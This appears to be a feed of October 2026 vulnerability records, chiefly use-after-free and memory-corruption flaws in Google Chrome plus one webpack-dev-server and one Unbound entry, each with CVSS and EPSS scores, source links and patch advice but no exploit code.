Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113161).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113161&date=2026-10-25).
Sources:
NVD CVE-2026-113161: https://nvd.nist.gov/vuln/detail/CVE-2026-113161
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113161&date=2026-10-25
Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113160
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113160).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113160&date=2026-10-25).
Sources:
NVD CVE-2026-113160: https://nvd.nist.gov/vuln/detail/CVE-2026-113160
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113160&date=2026-10-25
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### webpack-dev-server is a development server that provides live reloading for webpack projects.
https://kevwire.com/record/CVE-2026-112085
webpack-dev-server is a development server that provides live reloading for webpack projects. (Oct 22, 2026).
webpack-dev-server is a development server that provides live reloading for webpack projects. In versions before 5.2.7 and in version 6.0.0, when a proxy entry is configured to forward WebSockets, the server forwards non-HMR WebSocket upgrade requests to the proxy target without validating the Host or Origin headers, so the allowedHosts protection does not apply to those proxied upgrades. A malicious web page visited by a developer can open a cross-origin WebSocket through the dev server and read from and write to the proxied backend, even when the server is bound to loopback. The issue is fixed in webpack-dev-server 5.2.7 and 6.1.0, where proxied WebSocket upgrades pass the same Host and Origin validation as the HMR WebSocket, and users should upgrade to one of those versions or later. As a workaround, omit WebSocket forwarding from proxy entries that do not need it and scope the proxy to specific paths.
CVSS 8.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112085).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112085&date=2026-10-25).
Sources:
NVD CVE-2026-112085: https://nvd.nist.gov/vuln/detail/CVE-2026-112085
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112085&date=2026-10-25
webpack-dev-server is a development server that provides live reloading for webpack projects. In versions before 5.2.7 and in version 6.0.0, when a proxy entry is configured to forward WebSockets, the server forwards non-HMR WebSocket upgrade requests to the proxy target without validating the Host or Origin headers, so the allowedHosts protection does not apply to those proxied upgrades. A malicious web page visited by a developer can open a cross-origin WebSocket through the dev server and read from and write to the proxied backend, even when the server is bound to loopback. The issue is fixed in webpack-dev-server 5.2.7 and 6.1.0, where proxied WebSocket upgrades pass the same Host and Origin validation as the HMR WebSocket, and users should upgrade to one of those versions or later. As a workaround, omit WebSocket forwarding from proxy entries that do not need it and scope the proxy to specific paths.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113179
Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113179).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113179&date=2026-10-25).
Sources:
NVD CVE-2026-113179: https://nvd.nist.gov/vuln/detail/CVE-2026-113179
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113179&date=2026-10-25
Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113184
Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113184).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113184&date=2026-10-25).
Sources:
NVD CVE-2026-113184: https://nvd.nist.gov/vuln/detail/CVE-2026-113184
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113184&date=2026-10-25
Memory corruption in Scheduling in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113185
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113185).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113185&date=2026-10-25).
Sources:
NVD CVE-2026-113185: https://nvd.nist.gov/vuln/detail/CVE-2026-113185
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113185&date=2026-10-25
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113187
Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113187).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113187&date=2026-10-25).
Sources:
NVD CVE-2026-113187: https://nvd.nist.gov/vuln/detail/CVE-2026-113187
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113187&date=2026-10-25
Use after free in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113188
Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113188).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113188&date=2026-10-25).
Sources:
NVD CVE-2026-113188: https://nvd.nist.gov/vuln/detail/CVE-2026-113188
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113188&date=2026-10-25
Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113190
Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113190).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113190&date=2026-10-25).
Sources:
NVD CVE-2026-113190: https://nvd.nist.gov/vuln/detail/CVE-2026-113190
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113190&date=2026-10-25
Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113191
Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113191).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113191&date=2026-10-25).
Sources:
NVD CVE-2026-113191: https://nvd.nist.gov/vuln/detail/CVE-2026-113191
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113191&date=2026-10-25
Use after free in Internals in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113192
Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113192).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113192&date=2026-10-25).
Sources:
NVD CVE-2026-113192: https://nvd.nist.gov/vuln/detail/CVE-2026-113192
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113192&date=2026-10-25
Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113194
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113194).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113194&date=2026-10-25).
Sources:
NVD CVE-2026-113194: https://nvd.nist.gov/vuln/detail/CVE-2026-113194
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113194&date=2026-10-25
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113195
Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113195).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113195&date=2026-10-25).
Sources:
NVD CVE-2026-113195: https://nvd.nist.gov/vuln/detail/CVE-2026-113195
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113195&date=2026-10-25
Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113197
Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113197).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113197&date=2026-10-25).
Sources:
NVD CVE-2026-113197: https://nvd.nist.gov/vuln/detail/CVE-2026-113197
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113197&date=2026-10-25
Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation.
https://kevwire.com/record/CVE-2026-97206
NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation. (Oct 21, 2026).
NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation. A client-triggered QUIC path migration can enter stream/connection cleanup while a mesh reply still retains a pointer to the DoQ stream. Cleanup frees the DoQ stream and when the pending mesh reply later completes it dereferences a stale pointer leading to a crash.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97206).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97206&date=2026-10-25).
Sources:
NVD CVE-2026-97206: https://nvd.nist.gov/vuln/detail/CVE-2026-97206
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97206&date=2026-10-25
NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation. A client-triggered QUIC path migration can enter stream/connection cleanup while a mesh reply still retains a pointer to the DoQ stream. Cleanup frees the DoQ stream and when the pending mesh reply later completes it dereferences a stale pointer leading to a crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113198
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113198).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113198&date=2026-10-25).
Sources:
NVD CVE-2026-113198: https://nvd.nist.gov/vuln/detail/CVE-2026-113198
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113198&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113200
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113200).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113200&date=2026-10-25).
Sources:
NVD CVE-2026-113200: https://nvd.nist.gov/vuln/detail/CVE-2026-113200
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113200&date=2026-10-25
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113202
Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113202).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113202&date=2026-10-25).
Sources:
NVD CVE-2026-113202: https://nvd.nist.gov/vuln/detail/CVE-2026-113202
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113202&date=2026-10-25
Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113203
Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
